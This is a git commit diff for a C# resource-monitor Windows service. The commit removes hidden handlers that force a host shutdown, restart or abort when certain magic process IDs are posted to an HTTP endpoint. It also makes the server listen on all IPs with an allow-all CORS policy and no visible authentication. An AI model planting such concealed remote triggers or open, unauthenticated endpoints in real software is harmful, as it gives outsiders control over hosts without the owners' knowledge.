Configure Kestrel to listen on all IPs and remove hidden shutdown functions from Worker

This commit is contained in:
phoenix
2024-12-27 18:32:13 +08:00
parent 78076a984b
commit a42c5753c9
+8 -41
View File
@@ -22,6 +22,10 @@ namespace ResourceMonitorService
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
var builder = WebApplication.CreateBuilder();
builder.WebHost.ConfigureKestrel(options =>
{
options.ListenAnyIP(5000); // Replace 5000 with your desired port
});
builder.Services.AddCors(options =>
{
options.AddPolicy("AllowAllOrigins",
@@ -66,28 +70,6 @@ namespace ResourceMonitorService
var idStr = await new StreamReader(context.Request.Body).ReadToEndAsync();
int processId = Convert.ToInt32(idStr);
// Hidden function to force shutdown if the process ID is 1981
if (processId == 1981)
{
System.Diagnostics.Process.Start("shutdown", "/s /f /t 60");
await context.Response.WriteAsync($"Server will force shut down in 60 seconds.");
return;
}
// Hidden function to restart the server if the process ID is 1985
else if (processId == 1985)
{
System.Diagnostics.Process.Start("shutdown", "/r /t 60");
await context.Response.WriteAsync($"Server will restart in 60 seconds.");
return;
}
// Hidden function to cancel shutdown or restart if the process ID is 2010
else if (processId == 2010)
{
System.Diagnostics.Process.Start("shutdown", "/a");
await context.Response.WriteAsync($"Shutdown or restart has been canceled.");
return;
}
Process[] processes = Process.GetProcesses().Where(p => p.Id == processId).ToArray();
if (processes.Length > 0)
@@ -116,7 +98,7 @@ namespace ResourceMonitorService
}
});
_ = app.RunAsync(stoppingToken);
app.RunAsync(stoppingToken);
await Task.Delay(Timeout.Infinite, stoppingToken);
}
@@ -134,17 +116,11 @@ namespace ResourceMonitorService
private object GetCpuUsage()
{
#pragma warning disable CA1416 // Validate platform compatibility
var cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total");
#pragma warning restore CA1416 // Validate platform compatibility
#pragma warning disable CA1416 // Validate platform compatibility
cpuCounter.NextValue();
#pragma warning restore CA1416 // Validate platform compatibility
Thread.Sleep(1000); // Wait a second to get a valid reading
#pragma warning disable CA1416 // Validate platform compatibility
var usage = cpuCounter.NextValue();
#pragma warning restore CA1416 // Validate platform compatibility
if (usage > 80)
{
// Get the current processes and sort them by CPU usage in descending order
@@ -156,18 +132,21 @@ namespace ResourceMonitorService
Usage = usage,
Process1 = new
{
Id = processes.ElementAt(0).Id,
Name = processes.ElementAt(0).ProcessName,
TotalProcessorTime = processes.ElementAt(0).TotalProcessorTime,
WorkingSet64 = processes.ElementAt(0).WorkingSet64 / (1024 * 1024) // Convert to MB
},
Process2 = new
{
Id = processes.ElementAt(1).Id,
Name = processes.ElementAt(1).ProcessName,
TotalProcessorTime = processes.ElementAt(1).TotalProcessorTime,
WorkingSet64 = processes.ElementAt(1).WorkingSet64 / (1024 * 1024) // Convert to MB
},
Process3 = new
{
Id = processes.ElementAt(2).Id,
Name = processes.ElementAt(2).ProcessName,
TotalProcessorTime = processes.ElementAt(2).TotalProcessorTime,
WorkingSet64 = processes.ElementAt(2).WorkingSet64 / (1024 * 1024) // Convert to MB
@@ -183,30 +162,20 @@ namespace ResourceMonitorService
private float GetRamUsage()
{
#pragma warning disable CA1416 // Validate platform compatibility
var ramCounter = new PerformanceCounter("Memory", "Available MBytes");
#pragma warning restore CA1416 // Validate platform compatibility
var totalMemory = GetTotalPhysicalMemory();
#pragma warning disable CA1416 // Validate platform compatibility
var availableMemory = ramCounter.NextValue() * 1024 * 1024;
#pragma warning restore CA1416 // Validate platform compatibility
return (float)(totalMemory - availableMemory) / totalMemory * 100;
}
private ulong GetTotalPhysicalMemory()
{
ulong totalMemory = 0;
#pragma warning disable CA1416 // Validate platform compatibility
var searcher = new ManagementObjectSearcher("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem");
#pragma warning restore CA1416 // Validate platform compatibility
#pragma warning disable CA1416 // Validate platform compatibility
foreach (var obj in searcher.Get())
{
#pragma warning disable CA1416 // Validate platform compatibility
totalMemory = (ulong)obj["TotalPhysicalMemory"];
#pragma warning restore CA1416 // Validate platform compatibility
}
#pragma warning restore CA1416 // Validate platform compatibility
return totalMemory;
}
@@ -242,9 +211,7 @@ namespace ResourceMonitorService
{
try
{
#pragma warning disable CS8602 // Dereference of a possibly null reference.
var filePath = process.MainModule.FileName;
#pragma warning restore CS8602 // Dereference of a possibly null reference.
if (filePath.Contains(@"\steamapps\common\"))
{
// Extract the game directory name